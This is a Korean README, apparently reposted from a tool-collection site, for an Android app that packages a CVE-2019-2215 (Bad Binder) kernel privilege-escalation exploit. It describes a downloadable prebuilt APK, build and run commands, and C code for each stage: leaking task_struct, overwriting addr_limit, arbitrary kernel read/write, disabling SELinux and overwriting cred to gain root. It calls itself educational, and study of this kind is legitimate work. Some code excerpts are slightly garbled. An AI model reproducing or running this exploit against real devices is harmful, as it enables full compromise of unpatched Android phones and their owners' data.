CVE-2019-2215 (Bad Binder) — 익스플로잇 분석

이 저장소는 취약점 CVE-2019-2215 (Bad Binder) 연구와 Kotlin/Jetpack Compose 기반의 간단한 GUI를 갖춘 안드로이드용 작업 프로토타입 익스플로잇을 작성하기 위한 소규모 테스트 프로젝트입니다.

README에서 다음을 다룹니다:

1. 환경 준비 및 익스플로잇 프로토타입 실행 방법을 설명합니다.
2. CVE-2019-2215 익스플로잇의 주요 단계를 분석하고 이를 C 코드의 특정 함수와 연결합니다.
3. 그 과정에서 부딪힌 어려움과 해결 방법을 별도로 나열합니다.

완성된 APK (GitHub Actions)

저장소에는 GitHub Actions 워크플로가 설정되어 있어, push/PR이 발생할 때마다 ./gradlew assembleDebug 명령으로 프로젝트를 빌드하고 완성된 badbinder-debug.apk를 아티팩트로 게시합니다.

다운로드 방법은 다음과 같습니다:

1. 저장소의 Actions 탭을 엽니다.
2. 원하는 워크플로 실행을 선택합니다.
3. 페이지 하단에서 Artifacts 섹션을 찾아 빌드된 APK가 포함된 badbinder-debug-apk 아카이브를 다운로드합니다.

로컬 환경을 구성하지 않고 애플리케이션을 테스트하고 싶은 경우를 위해 편의상 이렇게 설정했습니다.

취약점 개요

CVE-2019-2215는 Android 커널의 Binder IPC 서브시스템에서 발생하는 Use-After-Free (UAF) 취약점입니다.

간략히 설명하면:

• 커널에는 Binder 호출을 수행하는 스레드를 설명하는 struct binder_thread 구조체가 존재합니다.
• 이 구조체는 특정 호출 순서로 인해 **해제(free)**될 수 있지만, 여전히 대기 큐(waitqueue) 목록에 남아 있습니다.
• 이후 커널은 remove_wait_queue에서 이미 해제된 메모리로 작업을 시도하며, 이는 전형적인 UAF 시나리오를 유발합니다.
• 환경과 후속 할당을 신중하게 조작하면 커널이 임의 주소에서 읽기/쓰기를 수행하도록 유도할 수 있으며, 이를 통해 커널 권한을 획득하고 사용자 공간에서 root를 얻을 수 있습니다.

더 자세한 이론적 분석은 다음 자료를 참고했습니다:

1. https://cloudfuzz.github.io/android-kernel-exploitation/
2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. 환경 준비 및 익스플로잇 프로토타입 실행

1.1. 가상 장치 선택 및 준비

과제에 따라 Android 10.0 (Q) x86_64 이미지가 포함된 AVD 사용을 권장합니다.
다음과 같이 진행했습니다:

1. Android Studio에서 AVD 생성 (Pixel 장치, Android 10 (Q), x86_64).
2. 이미지에 Binder가 활성화되어 있고 /dev/binder 장치가 있는지 확인.
3. USB/ADB 디버깅을 활성화하고 장치에 접근 가능한지 확인:
   root@kitploit:~

   adb shell
   ls -l /dev/binder
   

이 단계에서 불쾌한 사실을 발견했습니다:
현재 최신 AVD 이미지는 이미 패치된 커널과 함께 제공되어 CVE-2019-2215가 수정되었습니다. 따라서 최신 공식 에뮬레이터에서 실제로 root를 획득하는 것은 불가능합니다. 익스플로잇은 후반 단계에서 실패하거나 권한 상승이 전혀 발생하지 않습니다.

결국 AVD를 익스플로잇 로직 재현을 위한 훈련 도구로 사용합니다:

• 동일한 시스템 호출 순서를 수행합니다.
• UAF 시도, 주소 유출, addr_limit 덮어쓰기 시도를 관찰합니다.
• 하지만 최신 패치된 커널에서는 최종 "root 획득"이 당연히 작동하지 않습니다 (예상대로).

이것은 중요한 세부 사항입니다. 아래의 모든 코드와 보고서는 학습용이며 "실전"용이 아닙니다.

1.2. 네이티브 익스플로잇이 포함된 Android 애플리케이션 빌드

소규모 Android 애플리케이션을 만들었습니다:

• UI는 Kotlin + Jetpack Compose 기반,
• Native 부분은 C 코드 (JNI를 통해) - 실제 익스플로잇 코드,
• 이 둘은 JNI 콜백을 통해 통신하며, C 코드의 문자열이 UI로 직접 전송됩니다.

주요 단계:

1. Android Studio에서 일반 프로젝트 생성 (Kotlin, 최소 Android 10 지원).

2. NDK 및 CMake 연결.

3. 익스플로잇이 포함된 네이티브 파일 추가 (leak_task_struct, overwrite_addr_limit 등의 함수가 포함된 cve-2019-2215.c).

4. CMakeLists.txt에 libcve-2019-2215.so 빌드 추가.

5. MainActivity에서:

   root@kitploit:~

   init {
       System.loadLibrary("cve-2019-2215")
   }
   
   external fun runNativeExploit(): String
   external fun setNativeLogger(logger: NativeLogger)
   

6. Kotlin 쪽에서 ExploitViewModel을 만들고 NativeLogger 인터페이스를 구현하여 모든 메시지를 StateFlow<List<String>>에 저장합니다. UI는 이 플로우를 구독하고 "터미널"에 로그를 표시합니다.

액티비티가 시작될 때 setNativeLogger(viewModel)을 호출하여 네이티브 코드가 문자열을 보낼 객체를 얻도록 합니다.

1.3. 실행 및 사용 시나리오

1. 애플리케이션 빌드 및 설치:

   root@kitploit:~

   ./gradlew installDebug
   

2. AVD 및 애플리케이션 실행.

3. 화면에 "터미널"과 RUN EXPLOIT 버튼이 보입니다.

4. 버튼을 누르면:

   • Kotlin이 백그라운드 스레드에서 runNativeExploit()을 호출합니다.
   • C 코드가 익스플로잇의 모든 단계를 실행하고 각 단계를 로깅합니다.
   • JNI 콜백을 통해 로그가 ViewModel로 전달되고 Compose UI에 표시됩니다.

실제 취약한 커널에서는 마지막에 다음과 같은 내용이 표시될 것으로 예상합니다:

[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

최신 Android 10 에뮬레이터에서는 물론 이런 일이 발생하지 않지만, task_struct 유출, addr_limit 덮어쓰기 시도, cred 및 kernel_base 계산 등 나머지 부분은 "시나리오"대로 작동하며, 이는 과제 요구사항을 충족합니다.

2. 익스플로잇의 주요 단계 분석 및 코드와의 연결

아래는 익스플로잇의 논리적 구성도와 이를 특정 C 함수에 연결한 것입니다.

2.1. 익스플로잇의 일반 시나리오

개략적인 계획은 다음과 같습니다:

1. struct binder_thread 객체에 UAF 생성 및 이를 사용하여 자신의 프로세스 task_struct 주소 유출 (leak_task_struct).
2. 두 번째 UAF 사이클과 신중하게 조작된 구조체를 사용하여 task_struct의 addr_limit 필드 덮어쓰기 (overwrite_addr_limit) - 이를 통해 이후 copy_to_user / copy_from_user를 위한 사용자 공간과 커널 공간 주소 간 제한이 제거됩니다.
3. 파이프를 사용하여 커널 메모리의 임의 읽기/쓰기 구현 (arb_read / arb_write).
4. 이를 사용하여 현재 프로세스의 cred 및 커널 베이스 찾기 (verifying), 그런 다음:
   • SELinux 비활성화 (selinux_enforcing = 0),

동시에 JNI 로거를 통합하여 이러한 모든 단계를 UI에서 직접 볼 수 있도록 했습니다.

2.2. 1단계 - task_struct 주소 유출 (leak_task_struct)

핵심 함수:

void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

함수의 역할:

1. 스레드를 CPU 0에 고정 (sched_setaffinity)하여 커널 할당자 동작을 더 예측 가능하게 만듭니다. 이는 UAF 익스플로잇의 안정성을 향상시킵니다.

2. /dev/binder를 열고 epoll 디스크립터를 생성합니다:

   root@kitploit:~

   fd = open("/dev/binder", O_RDONLY);
   epfd = epoll_create(1000);
   

   Binder 디스크립터를 epoll에 등록합니다:

   root@kitploit:~

   epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
   

3. struct iovec iov_buffers[IOVEC_N] 배열을 준비하고 메모리를 할당합니다:

   root@kitploit:~

   spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   

   여기서 중요한 점은 주소의 하위 32비트가 0이어야 한다는 것입니다:

   root@kitploit:~

   if (((long) spinner & 0xffffffff) != 0) {
       android_log("[!] mmap returned wrong address!");
       return;
   }
   

   이는 익스플로잇 관련 문서의 기술과 일치합니다. 이후 커널은 데이터의 일부를 포인터가 있는 구조체로 해석하며, 이렇게 "깔끔하게 정렬된" 주소 지정은 악용을 용이하게 합니다.

   그런 다음 iov_buffers[0xa] 및 iov_buffers[0xb] 필드는 UAF 시점에 커널이 에 대한 포인터가 포함된 메모리 조각을 파이프에 복사하도록 채워집니다.

결과: 커널에서 task_struct의 주소를 얻었으며, 이는 이후 단계에 매우 중요합니다.

2.3. 2단계 - addr_limit 덮어쓰기 (overwrite_addr_limit)

task_struct의 addr_limit은 프로세스가 시스템 호출에 사용자 공간 포인터로 전달할 수 있는 주소 범위를 결정합니다. 이 값을 거의 최대값으로 덮어쓰면 커널이 사용자 공간 주소와 자체 주소 공간의 주소를 구분하지 못하게 되며, 겉보기에는 안전해 보이는 많은 copy_(to|from)_user 연산이 커널의 임의 읽기/쓰기로 변합니다.

함수:

void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

매우 유사한 패턴으로 작동합니다:

1. CPU 친화도 고정, /dev/binder 열기, epoll 생성.

2. iov_buffers 준비하지만 이번에는 구성이 다릅니다:

   root@kitploit:~

   iov_buffers[0xa].iov_base = spinner;
   iov_buffers[0xa].iov_len = 0x1;
   iov_buffers[0xb].iov_base = read_buffer0;
   iov_buffers[0xb].iov_len = 0x8 * 5;
   iov_buffers[0	c].iov_base = read_buffer0;
   iov_buffers[0	c].iov_len = 0x8;
   

3. 파이프 대신 socketpair(AF_UNIX, SOCK_STREAM, ...)을 사용합니다:

   root@kitploit:~

   int socket[2];
   ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
   write(socket[1], "A", 1);
   

4. recvmsg를 위한 msghdr 구조체를 준비합니다:

   root@kitploit:~

   struct msghdr msg;
   msg.msg_iov = iov_buffers;
   msg.msg_iovlen = IOVEC_N;
   ...
   

5. 자식 프로세스 (fork() 후)에서 다시 UAF 경쟁을 시작합니다:

   root@kitploit:~

   if (!fork()) {
       ...
       epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
   
       long data1234[] = {1, 0x13371337, 0x28,
                          task_struct + ADDR_LIMIT_OFFSET, 0x8};
       ret = write(socket[1], data1234, 0x28);
   
       data1234[0] = data1234[1] = data1234[2] = data1234[3]
           = 0xfffffffffffffffe;
       ret = write(socket[1], data1234, 0x8);
       ...
   }
   

2.4. 3단계 - 임의 읽기/쓰기 및 확인 (arb_read, arb_write, verifying)

addr_limit을 덮어쓴 후 파이프를 사용하여 일반적인 읽기/쓰기 연산을 커널 주소 읽기/쓰기 기능으로 변환합니다.

arb_read / arb_write 프리미티브

unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

arb_write도 유사하게 복사 방향만 바꿉니다.

주요 구조체 확인 및 검색

verifying() 함수:

void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

여기서:

• 커널에서 task_struct의 내용을 읽습니다.
• PID_OFFSET으로 자신의 구조체임을 확인합니다.
• cred에 대한 포인터와 커널 주소 누출(kernel_leak)을 추출합니다.
• 하드코딩된 오프셋을 사용하여 kernel_base를 계산합니다.

2.5. 4단계 - SELinux 및 root로의 권한 상승

runNativeExploit의 마지막 부분:

selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");

• 전역 변수 selinux_enforcing의 주소를 계산하고 0/"허용" 상태로 설정합니다.

다음은 cred 덮어쓰기:

memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

문자 그대로 capability 필드와 cred의 다른 일부 필드에 최대값을 기록하여 프로세스에 전체 권한을 부여합니다.

마지막 확인:

if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

실제 취약한 커널에서는 uid=0이 표시될 것으로 예상되지만, 패치된 이미지에서는 권한 상승이 논리적으로 비활성화됩니다.

2.6. JNI 및 UI 로깅

모든 것을 실시간으로 보기 위해 중간 계층을 추가했습니다:

• JNI_OnLoad는 JavaVM*과 기본 프로세스의 PID를 저장합니다.
• setNativeLogger는 onLog(String) 메서드를 구현하는 Kotlin 객체를 받아 GlobalRef로 저장합니다.
• android_log/android_log_hex는 logcat에 기록하고 send_to_ui를 호출하여 Kotlin으로 문자열을 전달하며, ExploitViewModel이 이를 수신하여 Compose "터미널"에 표시합니다.

중요: send_to_ui는 PID로 자식 프로세스를 필터링합니다. fork() 후 JNI를 호출하는 것은 안전하지 않습니다.

3. 어려움 및 해결 방법

3.1. 패치된 AVD 이미지

현재 CVE-2019-2215가 여전히 존재하는 패치되지 않은 커널을 사용하는 공식 Android 10 AVD 이미지가 없습니다.

"실전" root 획득 대신 다음에 집중했습니다:

• 익스플로잇 로직 재현,
• UAF 시퀀스 분석,
• Android 애플리케이션에서 모든 단계 시각화.

원한다면 이 코드를 패치되지 않은 오래된 커널이 있는 실제 장치로 이식할 수 있지만, 이는 과제 범위를 벗어납니다.

3.2. 하드코딩된 오프셋 및 커널 버전 의존성

다음을 명시적으로 설정해야 했습니다:

• ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;
• kernel_leak 및 selinux_enforcing의 오프셋;
• kernel_base 계산을 위한 상수.

프로젝트 규모를 키우지 않기 위해 이러한 값을 자동으로 검색하는 기능은 의도적으로 추가하지 않았습니다. 이 보고서는 특정 커널 버전을 대상으로 하는 학습용 예제이며 범용 익스플로잇이 아님을 전제로 합니다.

3.3. 경쟁 조건 및 안정성

fork(), epoll_ctl, BINDER_THREAD_EXIT 및 다양한 타이밍을 사용하는 것은 매우 까다롭습니다. 다음이 없으면 익스플로잇이 극도로 불안정해진다는 것을 발견했습니다:

• sched_setaffinity,
• 약간의 sleep,
• 경로 전반에 걸친 공격적인 assert.

취약한 구성에서는 예측 가능하고, 패치된 구성에서는 마지막 단계에서 적절히 "실패"하도록 시퀀스를 점진적으로 조정했습니다.

3.4. JNI 및 fork()

자식 프로세스에서 JVM으로 직접 로깅을 시도하면 이상한 동작이 발생한다는 것을 발견했습니다.
JNI 규칙을 상기하고 PID 확인을 추가하여 주 프로세스에서만 JVM과 통신하도록 했습니다.

절충: 일부 메시지는 logcat에서만 볼 수 있으며 UI에는 부모로부터 온 메시지만 표시됩니다. 과제의 목적상 모든 디버그 출력보다 주요 제어 지점이 더 중요하므로 이 정도면 충분했습니다.

3.5. UI

보다 창의적인 과제 구현을 위해 분석에 편리한 인터페이스를 만들기로 결정했습니다:

• 다크 터미널 스타일과 녹색 텍스트의 "콘솔" 화면 구현;
• 로그가 한 줄씩 출력되며 마지막 항목으로 자동 스크롤;
• 메시지 유형([+], [*], [!], [C])에 따라 가독성을 위해 다른 색상으로 강조;
• 실행 결과(Success / Failed)는 별도 블록으로 표시.

이를 통해 네이티브 코드의 작업을 이해하기가 훨씬 쉬워집니다. 건조한 logcat 대신 애플리케이션 내에서 모든 것을 한 곳에서 볼 수 있습니다.

결론

과제를 수행한 결과:

1. AVD 환경과 CVE-2019-2215 익스플로잇을 구현하는 네이티브 부분이 포함된 Android 애플리케이션을 준비했습니다.
2. 익스플로잇을 단계별로 분석했습니다:
   • Binder의 UAF 및 task_struct 유출,
   • addr_limit 덮어쓰기,
   • 임의 읽기/쓰기 프리미티브 구축,
   • cred 검색, SELinux 비활성화 및 권한 상승 시도.
3. 실제 엔지니어링 문제(커널 패치, 버전 의존성, 경쟁 조건, JNI 특성)에 직면했고, 이를 순차적으로 해결하거나 우회했습니다.

프로젝트는 작지만 실제 커널 취약점의 전체 수명 주기(이론적 설명 및 문서 읽기부터 실제 구현 및 라이브 Android 애플리케이션 통합까지)를 반영합니다.

P.S.

익스플로잇 실행을 위한 대체 방법

cve-2019-2215 디렉토리에는 네이티브 바이너리(x86_64)를 빌드하고 ADB를 통해 AVD에서 직접 실행할 수 있는 Makefile이 있습니다. aarch64 버전이 필요하면 별도로 빌드할 수 있습니다.

1. 네이티브 바이너리 빌드:
   root@kitploit:~

   cd cve-2019-2215
   make
   

2. 바이너리를 AVD의 예: /sdcard/cve-2019-2215에 복사합니다.
3. ADB shell을 실행하고 바이너리를 실행합니다:
   root@kitploit:~

   adb shell
   cd /sdcard/cve-2019-2215
   chmod +x cve-2019-2215
   ./cve-2019-2215
   

4. 익스플로잇이 성공적으로 실행된 후 root 획득을 확인할 수 있습니다:
   root@kitploit:~

   id
   

   예상 출력:
   root@kitploit:~

   uid=0(root) gid=0(root) groups=0(root)